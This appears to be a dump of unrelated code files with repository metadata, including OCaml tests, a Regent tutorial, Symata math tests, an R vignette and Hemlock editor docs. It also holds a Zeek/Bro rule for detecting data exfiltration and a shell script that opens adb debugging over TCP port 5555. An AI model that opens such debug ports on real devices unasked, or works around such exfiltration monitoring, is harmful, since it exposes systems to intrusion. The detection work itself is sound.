mk_loc (1, 38) (1, 41);
mk_loc (1, 44) (1, 47);
mk_loc (1, 51) (1, 52);
];
"enums"
>:: mk_scope_builder_all_uses_test
~enable_enums:true
"enum Foo {}\nFoo"
[mk_loc (1, 5) (1, 8); mk_loc (2, 0) (2, 3)];
"enums_off" >:: mk_scope_builder_all_uses_test "enum Foo {}\nFoo" [];
"switch"
>:: mk_scope_builder_all_uses_test
"switch ('') { case '': const foo = ''; foo; };"
[mk_loc (1, 29) (1, 32); mk_loc (1, 39) (1, 42)];
"switch_weird"
>:: mk_scope_builder_all_uses_test
"switch ('') { case l: 0; break; case '': let l };"
[mk_loc (1, 19) (1, 20); mk_loc (1, 45) (1, 46)];
(* ^^ this looks super weird but is correct *)
"scope_loc_function_declaration"
>:: mk_scope_builder_scope_loc_test
"function a() {};"
[
(0, mk_loc (1, 0) (1, 16));
(* program *)
(1, mk_loc (1, 13) (1, 15));
(* function params and body *)
];
(* block (lexical) *)
"scope_loc_function_expression"
>:: mk_scope_builder_scope_loc_test
"const x = function() {};"
[
(0, mk_loc (1, 0) (1, 24));
(* program *)
(1, mk_loc (1, 10) (1, 23));
(* function name *)
(2, mk_loc (1, 21) (1, 23));
(* function params and body *)
];
(* block (lexical) *)
"scope_loc_arrow_function"
>:: mk_scope_builder_scope_loc_test
"const x = () => 1;"
[
(0, mk_loc (1, 0) (1, 18));
(* program *)
(1, mk_loc (1, 10) (1, 17));
(* function name (lexical) *)
(2, mk_loc (1, 16) (1, 17));
];
(* function params and body *)
"scope_loc_for_in"
>:: mk_scope_builder_scope_loc_test
"for (let a in b) {}; 42"
[
(0, mk_loc (1, 0) (1, 23));
(* program *)
(1, mk_loc (1, 0) (1, 19));
(* for in (lexical) *)
(2, mk_loc (1, 17) (1, 19));
];
(* block (lexical) *)
"toplevel_defs_empty" >:: mk_scope_builder_toplevel_scopes_test "" [];
"toplevel_defs_hoisting_only"
>:: mk_scope_builder_toplevel_scopes_test "function test(a) {}" ["test"];
"toplevel_defs_lexical_only" >:: mk_scope_builder_toplevel_scopes_test "const a = b" ["a"];
"toplevel_defs_hoisting_and_lexical"
>:: mk_scope_builder_toplevel_scopes_test "const a = b; function test(a) {}" ["a"; "test"];
"toplevel_defs_class" >:: mk_scope_builder_toplevel_scopes_test "let a = class b { }" ["a"];
"class_expr_loc"
>:: mk_scope_builder_scope_loc_test
"let a = class b { m(c) { a; b; c; }}"
[
(0, mk_loc (1, 0) (1, 36));
(1, mk_loc (1, 8) (1, 36));
(2, mk_loc (1, 19) (1, 35));
(3, mk_loc (1, 23) (1, 35));
];
"declare_export_default"
>:: mk_scope_builder_all_uses_test
"declare export default class Foo {}; new Foo()"
[mk_loc (1, 29) (1, 32); mk_loc (1, 41) (1, 44)];
]
| OCaml | 5 | zhangmaijun/flow | src/analysis/__tests__/scope_builder_test.ml | [
"MIT"
] |
- page_title _("New User")
%h3.page-title
= s_('AdminUsers|New user')
%hr
= render 'form'
| Haml | 3 | glimmerhq/glimmerhq | app/views/admin/users/new.html.haml | [
"MIT"
] |
-- Copyright 2018 Stanford University
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
import "regent"
local c = regentlib.c
fspace BitField
{
bit : bool,
}
task clear(bit_region : region(ispace(int1d), BitField))
where
writes(bit_region.bit)
do
for b in bit_region do
b.bit = false
end
end
task printer(bit_region : region(ispace(int1d), BitField))
where
reads(bit_region.bit)
do
c.printf("The bits are: ")
var limits = bit_region.bounds
for i = [int](limits.lo), [int](limits.hi) + 1 do
if bit_region[i].bit then
c.printf("1 ")
else
c.printf("0 ")
end
end
c.printf("\n")
end
--
-- The blink task both reads and writes the region.
--
task blink(bit_region : region(ispace(int1d), BitField))
where
reads writes(bit_region.bit)
do
for b in bit_region do
b.bit = not b.bit
end
end
task main()
var size = 10
var bit_region = region(ispace(int1d, size), BitField)
clear(bit_region)
blink(bit_region)
printer(bit_region)
end
regentlib.start(main)
| Rouge | 4 | elliottslaughter/regent-tutorial | Regions/3.rg | [
"Apache-2.0"
] |
#!/usr/bin/bash
# then, connect to computer:
# adb connect 192.168.5.11:5555
setprop service.adb.tcp.port 5555
stop adbd
start adbd
| Shell | 4 | wolterhv/openpilot | selfdrive/debug/adb.sh | [
"MIT"
] |
### Limit
T Limit(x, x => 0) == 0
T Limit(Sin(x)/x, x => Infinity) == 0
f = J( x -> mpow(x,10) )
T Limit( (f(x+h) - f(x))/h, h => 0) == 10 * (x^9)
f = J( x -> x^10)
T Limit( (f(x+h) - f(x))/h, h => 0) == 10 * (x^9)
# We need to fix this. Inf is a Float64. Convert it to SJulia
T Limit( 1/(x^(Log(Log(Log(Log((1/x)))))-1)), x => 0) == Infinity
# Mma 3 cannot do the following:
T Limit( Log(Log(x*Exp(x*Exp(x)) + 1)) - Exp(Exp(Log(Log(x)) + 1/x)), x => Infinity) == 0
ClearAll(isdef)
## Solve
# res = Solve([x+y-1, x - y + 1], [x,y])
# T res[x] == 0
# T res[y] == 1
T Solve(x^2 - 1, x) == [[x => (-1)],[x => 1]]
T Solve(x^2 == 1, x) == [[x => (-1)],[x => 1]]
T Solve([x+y-1, x - y + 1], [x,y]) == [[y => 1,x => 0]] # todo. sort lexically
T Solve(x^4-1,x) == [[x => (-1)],[x => 1],[x => -I],[x => I]]
#T Solve(x^4-1,x) == [-1,1,-1I,I]
#T Solve(x^3-1,x) == [1,-1//2 + (-1//2*I) * (3 ^ (1//2)),-1//2 + (1//2*I) * (3 ^ (1//2))]
T Solve(x^3-1,x) == [[x => 1],[x => (-1/2 + (I * -1/2)*(3^(1/2)))],[x => (-1/2 + (I * 1/2)*(3^(1/2)))]]
# FIXME: Solve(x^3-1) should return rules as in examples above.
#T Solve(x^3-1) == Solve(x^3-1,x)
## Roots
q = x^2 - 8x + 8
T Roots(q) == [[4 + -2 * (2 ^ (1//2)),1],[4 + 2 * (2 ^ (1//2)),1]]
ClearAll(a,b,x,y,z,p,q,rex,f)
## Orthogonal Polynomials, etc.
T JacobiP(1,2,3,x) == -1//2 + (7//2) * x
## Trig
T Sin(Pi/4) == (1//2) * (2 ^ (1//2))
### DiracDelta
T Integrate(DiracDelta(x-1), [x,-Infinity, Infinity]) == 1
T Integrate(DiracDelta(x-1), [x,2, Infinity]) == 0
T Integrate(DiracDelta(x-1), [x,-1000, 1000]) == 1
T Head(DiracDelta(0)) == DiracDelta
T DiracDelta(1) == 0
ClearAll(x,i,conds,h,res,t,s)
ex = x^5 - x^3 - x^2 + 1
T FactorSquareFree(ex) == ((-1 + x) ^ 2) * (1 + 2 * x + 2 * (x ^ 2) + x ^ 3)
T Factor(ex) == ((-1 + x) ^ 2) * (1 + x) * (1 + x + x ^ 2)
ClearAll(x,ex)
### BellB
T BellB(30) == 846749014511809332450147
T BellB(6,4,[x1,x2,x3]) == 45 * (x1 ^ 2) * (x2 ^ 2) + 20 * (x1 ^ 3) * x3
T BellB(4,t) == t + 7 * (t ^ 2) + 6 * (t ^ 3) + t ^ 4
### Divisors
T 10000/Divisors(10000) == Reverse(Divisors(10000))
ClearAll(x1,x2,x3,t,x)
| Objective-J | 3 | UnofficialJuliaMirrorSnapshots/Symata.jl-a906b1d5-d016-55c4-aab3-8a20cba0db2a | symata_test/sympy_test.sj | [
"MIT"
] |
## Exposure data
You can read in exposure data from a text file, or from the GWAS catalog.
### Text file
The text file must have the following columns (in any order) with these exact column headers
- `SNP` (rs IDs, required)
- `beta` (numeric effect size, required for MR)
- `se` (numeric standard error, required for MR)
- `effect_allele` (the allele that has the beta effect, required for MR)
- `other_allele` (the other allele, recommended for MR)
- `eaf` (effect allele frequency, recommended for MR)
- `P_value` (p-value of effect, not required for MR but used for other analyses. If `beta` and `se` are provided then this will be calculated for you.)
We provide three example files in the package, one for telomere length, one for bladder cancer, and one for coronary heart disease. After installing the package you can find their locations on your computer like this:
```{r }
library(TwoSampleMR)
tl_file <- system.file("data/telomere_length.txt", package="TwoSampleMR")
bc_file <- system.file("data/bladdercancer.txt", package="TwoSampleMR")
chd_file <- system.file("data/cardiogram.txt", package="TwoSampleMR")
```
To read in the data:
```{r }
library(TwoSampleMR)
library(pander)
tl <- read_exposure_data(tl_file, "Telomere length")
```
The function looks up the rs IDs in biomart to validate them and retrieve chromosome and position information.
### GWAS catalog
The GWAS catalog ([http://www.ebi.ac.uk/gwas/](http://www.ebi.ac.uk/gwas/)) is a collection of `r data(gwas_catalog); nrow(gwas_catalog)` reported associations against `r length(unique(gwas_catalog$Phenotype))` traits. These have the potential to be used as instruments in 2SMR. We have downloaded the GWAS catalog and made important formatting changes in order to simplify usage of these data for MR. **Please note that the reformatting of this data may be unreliable**.
To use the GWAS catalog:
```{r }
data(gwas_catalog)
```
and to extract, e.g. the instruments for BMI using the [@Speliotes2010] SNPs:
```{r }
bmi <- subset(gwas_catalog, Phenotype=="Body mass index" & Year==2010 & grepl("kg", Units))
bmi <- format_gwas_catalog(bmi)
```
### Data within R
You can create the expoure data object using data already in R also. e.g.
```{r }
manual_exposure <- data.frame(
SNP = c("rs10150332", "rs10767664"),
beta = c(0.13, 0.19),
se = c(0.03061224, 0.03061224),
effect_allele = c("C", "A"),
other_allele = c("T", "T"),
eaf = c(0.21, 0.78),
P_value = c(3e-11, 5e-26)
)
manual_exposure <- format_exposure_dat(manual_exposure, "BMI")
```
## LD pruning
For most 2SMR methods it is required that the instruments are in linkage equilibrium. To prune the SNPs we recommend using the clumping method which, when having to choose which of two SNPs to eliminate if they are in LD, will keep the one with the lowest p-value. There are two methods to do this, using either your own reference data and local computer, or using the MR-Base server remotely.
### Using MR-Base
This is currently limited to using European samples from 1000 genomes data only. You must provide a data frame that has a P-value column, SNP name, SNP position and SNP chromosome. The output from `read_exposure_data` has all of these.
```{r }
tl <- clump_data(tl)
bmi <- clump_data(bmi)
```
This returns the same data frame with any SNPs in LD removed.
### Local LD pruning
You need to obtain the executable for [plink2](https://cog-genomics.org/plink2), and binary plink files for your reference data, e.g. 1000 genomes data.
```{r eval=FALSE}
bmi <- clump_data(bmi, where="local", refdat="/path/to/reference_data", plink_bin="/path/to/plink2")
```
## Outcome data
Ideally for every SNP in your exposure data you will have the corresponding summary statistics from a GWAS on the outcome trait. There are two ways in which this data can be entered into R: by performing a lookup in the MR-Base database, or manually using your own summary statistics.
### MR-Base lookup
To see a list of all the available GWAS studies in the database:
```{r }
ao <- available_outcomes()
nrow(ao)
pander(head(ao))
```
and to extract the BMI SNPs from the Celiac disease and T2D GWASs provide the relevant exposure data and outcome IDs:
```{r }
outcome_dat <- extract_outcome_data(bmi, c(13, 6))
```
The resulting data frame has the following columns:
```{r }
names(outcome_dat)
```
### Manual
Alternatively, create a data frame with the following columns:
- `beta.outcome` (Numeric effect sizes, required)
- `se.outcome` (Numeric standard errors, required)
- `eaf.outcome` (Numeric frequency of the effect allele, recommended)
- `effect_allele.outcome` (Effect allele, required)
- `other_allele.outcome` (Other allele, recommended)
- `outcome` (Name of the outcome, required)
## Harmonising exposure and outcome data
In order to ensure that the effect sizes in the exposure data correspond to the same allele effects in the outcome data it is necessary to check and harmonise these data. We provide a function that ensures all corresponding exposure and outcome alleles are on the same strand (where possible), and returns a harmonised dataset.
```{r }
bmi_outcome <- harmonise_exposure_outcome(bmi, outcome_dat, action = 2)
```
The `action` argument specifies how strict to be when checking for the correct strand:
- `1` means assume that all alleles are on the positive strand already (not recommended!)
- `2` means flip alleles where possible, and use allele frequencies to infer the strand of palindromic SNPs.
- `3` means flip alleles where possible but remove any palindromic SNPs
## Performing 2SMR
The data is now ready to perform 2-sample MR. To do this:
```{r }
mr_results <- mr(bmi_outcome)
```
This performs MR using the following different available methods:
```{r }
pander(mr_method_list())
```
### Sensitivity analysis
To see how different methods compare:
```{r }
mr_scatter_plot(mr_results, bmi_outcome)[[2]]
```
To compare the effects of each of the SNPs we can generate a forest plot, e.g. for BMI on T2D:
```{r }
s <- mr_singlesnp(bmi_outcome)
mr_forest_plot(s)[[2]]
```
And to perform a leave-one-out sensitivity analysis:
```{r }
l <- mr_leaveoneout(bmi_outcome)
mr_leaveoneout_plot(l)[[2]]
```
### Enrichment
You can also perform a Fisher's combined test to see if there is an enrichment of p-values in the outcome data (e.g. are the SNPs that influence the exposure also likely to influence the outcome, this is not an MR analysis).
| RMarkdown | 5 | Steven-Shixq/TwoSampleMR | inst/sandpit/vignette.rmd | [
"MIT"
] |
# Contributed by Bob Rotsted @ Reservoir Labs
#
# Small Business Innovation Research (SBIR) Data Rights.
#
# These SBIR data are furnished with SBIR rights under Contract
# No. DE-SC0004400 and DE-SC0006343. For a period of 4 years
# (expiring August, 2018), unless extended in accordance with
# FAR 27.409(h), subject to Section 8 of the SBA SBIR Policy
# Directive of August 6, 2012, after acceptance of all items to
# be delivered under this contract, theGovernment will use these
# data for Government purposes only, and theyshall not be
# disclosed outside the Government (including disclosure for
# procurement purposes) during such period without permission of
# the Contractor, except that, subject to the foregoing use and
# disclosure prohibitions, these data may be disclosed for use
# by support Contractors. After the protection period, the
# Government has a paid-up license to use, and to authorize
# others to use on its behalf, these data for Government
# purposes, but is relieved of all disclosure prohibitions and
# assumes no liability for unauthorized use of these data by
# third parties. This notice shall be affixed to any
# reproductions of these data, in whole or in part.
##! Watch all TCP,UDP,ICMP flows for Data Exfil
module Exfil;
export {
## Defines which subnets are monitored for data exfiltration
global watched_subnets_conn: set[subnet] = [10.0.0.0/8] &redef;
## Defines whether connections with local destinations should be monitored for data exfiltration
global ignore_local_dest_conn: bool = T &redef;
## Defines the thresholds and polling interval for the exfil framework. See main.bro for more details.
global settings_conn: Settings &redef;
}
event connection_established (c: connection) {
if (ignore_local_dest_conn == T && Site::is_local_addr(c$id$resp_h) == T)
return;
if (c$id$orig_h !in watched_subnets_conn )
return;
Exfil::watch_connection(c , settings_conn);
}
| Bro | 4 | reservoirlabs/bro-scripts | exfil-detection-framework/app-exfil-conn.bro | [
"Apache-2.0"
] |
L AFALG e_afalg_err.h e_afalg_err.c
| eC | 0 | madanagopaltcomcast/pxCore | examples/pxScene2d/external/libnode-v10.15.3/deps/openssl/openssl/engines/afalg/e_afalg.ec | [
"Apache-2.0"
] |
name := """websockets"""
organization := "com.baeldung"
version := "1.0-SNAPSHOT"
lazy val root = (project in file(".")).enablePlugins(PlayJava)
scalaVersion := "2.13.0"
lazy val akkaVersion = "2.6.0-M8"
lazy val akkaHttpVersion = "10.1.10"
libraryDependencies += guice
libraryDependencies += "com.typesafe.akka" %% "akka-actor" % akkaVersion
libraryDependencies += "com.typesafe.akka" %% "akka-testkit" % akkaVersion
libraryDependencies += "com.typesafe.akka" %% "akka-stream" % akkaVersion
libraryDependencies += "com.typesafe.akka" %% "akka-http-jackson" % akkaHttpVersion
libraryDependencies += "com.typesafe.akka" %% "akka-http" % akkaHttpVersion
libraryDependencies += "org.projectlombok" % "lombok" % "1.18.8" % "provided"
libraryDependencies += "junit" % "junit" % "4.12"
PlayKeys.devSettings += "play.server.http.idleTimeout" -> "infinite"
| Scala | 3 | DBatOWL/tutorials | play-framework/websockets/build.sbt | [
"MIT"
] |
@0x84ed73ce30ad1d3f;
struct Foo {
id @0 :UInt32;
name @1 :Text;
}
| Cap'n Proto | 3 | p4l1ly/pycapnp | test/foo.capnp | [
"BSD-2-Clause"
] |
@comment{-*- Dictionary: /usr/lisp/scribe/hem/hem; Mode: spell; Package: Hemlock; Log: /usr/lisp/scribe/hem/hem-docs.log -*-}
@chapter (Auxiliary Systems)
This chapter describes utilities that some implementations of @hemlock may
leave unprovided or unsupported.
@section[Key-events]
@index(I/O)
@index[keyboard input]
@index[input, keyboard]
@index[mouse input]
@index[input, mouse]
@label[key-events]
These routines are defined in the @f["EXTENSIONS"] package since other projects
have often used @hemlock's input translations for interfacing to CLX.
@subsection[Introduction]
The canonical representation of editor input is a key-event structure. Users
can bind commands to keys (see section @ref[key-bindings]), which are non-zero
length sequences of key-events. A key-event consists of an identifying token
known as a @i[keysym] and a field of bits representing modifiers. Users define
keysyms, integers between 0 and 65535 inclusively, by supplying names that
reflect the legends on their keyboard's keys. Users define modifier names
similarly, but the system chooses the bit and mask for recognizing the
modifier. You can use keysym and modifier names to textually specify
key-events and Hemlock keys in a @f[#k] syntax. The following are some
examples:
@begin[programexample]
#k"C-u"
#k"Control-u"
#k"c-m-z"
#k"control-x meta-d"
#k"a"
#k"A"
#k"Linefeed"
@end[programexample]
This is convenient for use within code and in init files containing
@f[bind-key] calls.
The @f[#k] syntax is delimited by double quotes, but the system parses the
contents rather than reading it as a Common Lisp string. Within the double
quotes, spaces separate multiple key-events. A single key-event optionally
starts with modifier names terminated by hyphens. Modifier names are
alphabetic sequences of characters which the system uses case-insensitively.
Following modifiers is a keysym name, which is case-insensitive if it consists
of multiple characters, but if the name consists of only a single character,
then it is case-sensitive.
You can escape special characters @dash hyphen, double quote, open angle
bracket, close angle bracket, and space @dash with a backslash, and you can
specify a backslash by using two contiguously. You can use angle brackets to
enclose a keysym name with many special characters in it. Between angle
brackets appearing in a keysym name position, there are only two special
characters, the closing angle bracket and backslash.
@subsection[Interface]
All of the following routines and variables are exported from the "EXTENSIONS"
("EXT") package.
@defun[fun {define-keysym}, args {@i[keysym] @i[preferred-name] @rest @i[other-names]}]
This function establishes a mapping from @i[preferred-name] to @i[keysym] for
purposes of @f[#k] syntax. @i[Other-names] also map to @i[keysym], but the
system uses @i[preferred-name] when printing key-events. The names are
case-insensitive simple-strings; however, if the string contains a single
character, then it is used case-sensitively. Redefining a keysym or re-using
names has undefined effects.
You can use this to define unused keysyms, but primarily this defines keysyms
defined in the @i[X Window System Protocol, MIT X Consortium Standard, X
Version 11, Release 4]. @f[translate-key-event] uses this knowledge to
determine what keysyms are modifier keysyms and what keysym stand for
alphabetic key-events.
@enddefun
@defun[fun {define-mouse-keysym}, args {@i[button] @i[keysym] @i[name] @i[shifted-bit] @i[event-key]}]
This function defines @i[keysym] named @i[name] for key-events representing the
X @i[button] cross the X @i[event-key] (@kwd[button-press] or
@kwd[button-release]). @i[Shifted-bit] is a defined modifier name that
@f[translate-mouse-key-event] sets in the key-event it returns whenever the X
shift bit is set in an incoming event.
Note, by default, there are distinct keysyms for each button distinguishing
whether the user pressed or released the button.
@i[Keysym] should be an one unspecified in @i[X Window System Protocol, MIT X
Consortium Standard, X Version 11, Release 4].
@enddefun
@defun[fun {name-keysym}, args {@i[name]}]
This function returns the keysym named @i[name]. If @i[name] is unknown, this
returns @nil.
@enddefun
@defun[fun {keysym-names}, args {@i[keysym]}]
This function returns the list of all names for @i[keysym]. If @i[keysym] is
undefined, this returns @nil.
@enddefun
@defun[fun {keysym-preferred-name}, args {@i[keysym]}]
This returns the preferred name for @i[keysym], how it is typically printed.
If @i[keysym] is undefined, this returns @nil.
@enddefun
@defun[fun {define-key-event-modifier}, args {@i[long-name] @i[short-name]}]
This establishes @i[long-name] and @i[short-name] as modifier names for
purposes of specifying key-events in @f[#k] syntax. The names are
case-insensitive simple-strings. If either name is already defined, this
signals an error.
The system defines the following default modifiers (first the long name,
then the short name):
@begin[Itemize]
@f["Hyper"], @f["H"]
@f["Super"], @f["S"]
@f["Meta"], @f["M"]
@f["Control"], @f["C"]
@f["Shift"], @f["Shift"]
@f["Lock"], @f["Lock"]
@end[Itemize]
@enddefun
@defvar[var {all-modifier-names}]
This variable holds all the defined modifier names.
@enddefvar
@defun[fun {define-clx-modifier}, args {@i[clx-mask] @i[modifier-name]}]
This function establishes a mapping from @i[clx-mask] to a defined key-event
@i[modifier-name]. @f[translate-key-event] and @f[translate-mouse-key-event]
can only return key-events with bits defined by this routine.
The system defines the following default mappings between CLX modifiers and
key-event modifiers:
@begin[Itemize]
@f[(xlib:make-state-mask :mod-1) --> "Meta"]
@f[(xlib:make-state-mask :control) --> "Control"]
@f[(xlib:make-state-mask :lock) --> "Lock"]
@f[(xlib:make-state-mask :shift) --> "Shift"]
@end[Itemize]
@enddefun
@defun[fun {make-key-event-bits}, args {@rest @i[modifier-names]}]
This function returns bits suitable for @f[make-key-event] from the supplied
@i[modifier-names]. If any name is undefined, this signals an error.
@enddefun
@defun[fun {key-event-modifier-mask}, args {@i[modifier-name]}]
This function returns a mask for @i[modifier-name]. This mask is suitable for
use with @f[key-event-bits]. If @i[modifier-name] is undefined, this signals
an error.
@enddefun
@defun[fun {key-event-bits-modifiers}, args {@i[bits]}]
This returns a list of key-event modifier names, one for each modifier
set in @i[bits].
@enddefun
@defun[fun {translate-key-event}, args {@i[display] @i[scan-code] @i[bits]}]
This function translates the X @i[scan-code] and X @i[bits] to a key-event.
First this maps @i[scan-code] to an X keysym using @f[xlib:keycode->keysym]
looking at @i[bits] and supplying index as @f[1] if the X shift bit is on,
@f[0] otherwise.
If the resulting keysym is undefined, and it is not a modifier keysym,
then this signals an error. If the keysym is a modifier key, then this
returns @nil.
If these conditions are satisfied
@begin[Itemize]
The keysym is defined.
The X shift bit is off.
The X lock bit is on.
The X keysym represents a lowercase letter.
@end[Itemize]
then this maps the @i[scan-code] again supplying index as @f[1] this time,
treating the X lock bit as a caps-lock bit. If this results in an undefined
keysym, this signals an error. Otherwise, this makes a key-event with the
keysym and bits formed by mapping the X bits to key-event bits.
Otherwise, this makes a key-event with the keysym and bits formed by
mapping the X bits to key-event bits.
@enddefun
@defun[fun {translate-mouse-key-event}, args {@i[scan-code] @i[bits] @i[event-key]}]
This function translates the X button code, @i[scan-code], and modifier bits,
@i[bits], for the X @i[event-key] into a key-event. See
@f[define-mouse-keysym].
@enddefun
@defun[fun {make-key-event}, args {@i[object] @i[bits]}]
This function returns a key-event described by @i[object] with @i[bits].
@i[Object] is one of keysym, string, or key-event. When @i[object] is a
key-event, this uses @f[key-event-keysym]. You can form @i[bits] with
@f[make-key-event-bits] or @f[key-event-modifier-mask].
@enddefun
@defun[fun {key-event-p}, args {@i[object]}]
This function returns whether @i[object] is a key-event.
@enddefun
@defun[fun {key-event-bits}, args {@i[key-event]}]
This function returns the bits field of a @i[key-event].
@enddefun
@defun[fun {key-event-keysym}, args {@i[key-event]}]
This function returns the keysym field of a @i[key-event].
@enddefun
@defun[fun {char-key-event}, args {@i[character]}]
This function returns the key-event associated with @i[character]. You can
associate a key-event with a character by @f[setf]'ing this form.
@enddefun
@defun[fun {key-event-char}, args {@i[key-event]}]
This function returns the character associated with @i[key-event]. You can
associate a character with a key-event by @f[setf]'ing this form. The system
defaultly translates key-events in some implementation dependent way for text
insertion; for example, under an ASCII system, the key-event @f[#k"C-h"], as
well as @f[#k"backspace"] would map to the Common Lisp character that causes a
backspace.
@enddefun
@defun[fun {key-event-bit-p}, args {@i[key-event] @i[bit-name]}]
This function returns whether @i[key-event] has the bit set named by
@i[bit-name]. This signals an error if @i[bit-name] is undefined.
@enddefun
@defmac[fun {do-alpha-key-events}, args
{(@i[var] @i[kind] @optional @i[result]) @mstar<@i[form]>}]
This macro evaluates each @i[form] with @i[var] bound to a key-event
representing an alphabetic character. @i[Kind] is one of @kwd[lower],
@kwd[upper], or @kwd[both], and this binds @i[var] to each key-event in order
as specified in @i[X Window System Protocol, MIT X Consortium Standard, X
Version 11, Release 4]. When @kwd[both] is specified, this processes lowercase
letters first.
@enddefmac
@defun[fun {print-pretty-key}, args {@i[key] @optional @i[stream] @i[long-names-p]}]
This prints @i[key], a key-event or vector of key-events, in a user-expected
fashion to @i[stream]. @i[Long-names-p] indicates whether modifiers should
print with their long or short name. @i[Stream] defaults to
@var[standard-output].
@enddefun
@defun[fun {print-pretty-key-event}, args {@i[key-event] @optional @i[stream] @i[long-names-p]}]
This prints @i[key-event] to @i[stream] in a user-expected fashion.
@i[Long-names-p] indicates whether modifier names should appear using the long
name or short name. @i[Stream] defaults to @var[standard-output].
@enddefun
@section (CLX Interface)
@subsection (Graphics Window Hooks)
This section describes a few hooks used by Hemlock's internals to handle
graphics windows that manifest Hemlock windows. Some heavy users of Hemlock as
a tool have needed these in the past, but typically functions that replace the
default values of these hooks must be written in the "@f[HEMLOCK-INTERNALS]"
package. All of these symbols are internal to this package.
If you need this level of control for your application, consult the current
implementation for code fragments that will be useful in correctly writing your
own window hook functions.
@defvar[var {create-window-hook}]
This holds a function that @Hemlock calls when @f[make-window] executes under
CLX. @Hemlock passes the CLX display and the following arguments from
@f[make-window]: starting mark, ask-user, x, y, width, height, and modelinep.
The function returns a CLX window or nil indicating one could not be made.
@enddefvar
@defvar[var {delete-window-hook}]
This holds a function that @hemlock calls when @f[delete-window] executes under
CLX. @hemlock passes the CLX window and the @hemlock window to this function.
@enddefvar
@defvar[var {random-typeout-hook}]
This holds a function that @hemlock calls when random typeout occurs under CLX.
@hemlock passes it a @hemlock device, a pre-existing CLX window or @nil, and
the number of pixels needed to display the number of lines requested in the
@f[with-pop-up-display] form. It should return a window, and if a new window
is created, then a CLX gcontext must be the second value.
@enddefvar
@defvar[var {create-initial-windows-hook}]
This holds a function that @hemlock calls when it initializes the screen
manager and makes the first windows, typically windows for the @hid[Main] and
@hid[Echo Area] buffers. @hemlock passes the function a @hemlock device.
@enddefvar
@subsection (Entering and Leaving Windows)
@defhvar[var "Enter Window Hook"]
When the mouse enters an editor window, @hemlock invokes the functions in this
hook. These functions take a @Hemlock window as an argument.
@enddefhvar
@defhvar[var "Exit Window Hook"]
When the mouse exits an editor window, @hemlock invokes the functions in this
hook. These functions take a @Hemlock window as an argument.
@enddefhvar
@subsection (How to Lose Up-Events)
Often the only useful activity user's design for the mouse is to click on
something. @Hemlock sees a character representing the down event, but what do
you do with the up event character that you know must follow? Having the
command eat it would be tasteless, and would inhibit later customizations that
make use of it, possibly adding on to the down click command's functionality.
Bind the corresponding up character to the command described here.
@defcom[com "Do Nothing"]
This does nothing as many times as you tell it.
@enddefcom
@section (Slave Lisps)
@index (Slave lisp interface functions)
Some implementations of @hemlock feature the ability to manage multiple slave
Lisps, each connected to one editor Lisp. The routines discussed here spawn
slaves, send evaluation and compilation requests, return the current server,
etc. This is very powerful because without it you can lose your editing state
when code you are developing causes a fatal error in Lisp.
The routines described in this section are best suited for creating editor
commands that interact with slave Lisps, but in the past users implemented
several independent Lisps as nodes communicating via these functions. There is
a better level on which to write such code that avoids the extra effort these
routines take for the editor's sake. See the @i[CMU Common Lisp User's Manual]
for the @f[remote] and @f[wire] packages.
@subsection (The Current Slave)
There is a slave-information structure that these return which is suitable for
passing to the routines described in the following subsections.
@defun[fun {create-slave}, args {@optional @i[name]}]
This creates a slave that tries to connect to the editor. When the slave
connects to the editor, this returns a slave-information structure, and the
interactive buffer is the buffer named @i[name]. This generates a name if
@i[name] is @nil. In case the slave never connects, this will eventually
timeout and signal an editor-error.
@enddefun
@defun[fun {get-current-eval-server}, args {@optional @i[errorp]}]
@defhvar1[var {Current Eval Server}]
This returns the server-information for the @hid[Current Eval Server] after
making sure it is valid. Of course, a slave Lisp can die at anytime. If this
variable is @nil, and @i[errorp] is non-@nil, then this signals an
editor-error; otherwise, it tries to make a new slave. If there is no current
eval server, then this tries to make a new slave, prompting the user based on a
few variables (see the @i[Hemlock User's Manual]).
@enddefun
@defun[fun {get-current-compile-server}]
@defhvar1[var {Current Compile Server}]
This returns the server-information for the @hid[Current Compile Server] after
making sure it is valid. This may return nil. Since multiple slaves may
exist, it is convenient to use one for developing code and one for compiling
files. The compilation commands that use slave Lisps prefer to use the current
compile server but will fall back on the current eval server when necessary.
Typically, users only have separate compile servers when the slave Lisp can
live on a separate workstation to save cycles on the editor machine, and the
@hemlock commands only use this for compiling files.
@enddefun
@subsection (Asynchronous Operation Queuing)
The routines in this section queue requests with an eval server. Requests are
always satisfied in order, but these do not wait for notification that the
operation actually happened. Because of this, the user can continue editing
while his evaluation or compilation occurs. Note, these usually execute in the
slave immediately, but if the interactive buffer connected to the slave is
waiting for a form to return a value, the operation requested must wait until
the slave is free again.
@defun[fun {string-eval}, args {@i[string]}, keys {[server][package][context]}]
@defun1[fun {region-eval}, args {@i[region]}, keys {[server][package][context]}]
@defun1[fun {region-compile}, args {@i[region]}, keys {[server][package]}]
@f[string-eval] queues the evaluation of the form read from @i[string] on eval
server @i[server]. @i[Server] defaults to the result of
@f[get-current-server], and @i[string] is a simple-string. The evaluation
occurs with @var[package] bound in the slave to the package named by
@i[package], which defaults to @hid[Current Package] or the empty string; the
empty string indicates that the slave should evaluate the form in its current
package. The slave reads the form in @i[string] within this context as well.
@i[Context] is a string to use when reporting start and end notifications in
the @hid[Echo Area] buffer; it defaults to the concatenation of @f["evaluation
of "] and @i[string].
@f[region-eval] is the same as @f[string-eval], but @i[context] defaults
differently. If the user leaves this unsupplied, then it becomes a string
involving part of the first line of region.
@f[region-compile] is the same as the above. @i[Server] defaults the same; it
does not default to @f[get-current-compile-server] since this compiles the
region into the slave Lisp's environment, to affect what you are currently
working on.
@enddefun
@defun[fun {file-compile}, args {@i[file]},
keys {[output-file][error-file][load][server]},
morekeys {[package]}]
@defhvar1[var {Remote Compile File}, val {nil}]
This compiles @i[file] in a slave Lisp. When @i[output-file] is @true (the
default), this uses a temporary output file that is publicly writable in case
the client is on another machine, which allows for file systems that do not
permit remote write access. This renames the temporary file to the appropriate
binary name or deletes it after compilation. Setting @hid[Remote Compile File]
to @nil, inhibits this. If @i[output-file] is non-@nil and not @true, then it
is the name of the binary file to write. The compilation occurs with
@var[package] bound in the slave to the package named by @i[package], which
defaults to @hid[Current Package] or the empty string; the empty string
indicates that the slave should evaluate the form in its current package.
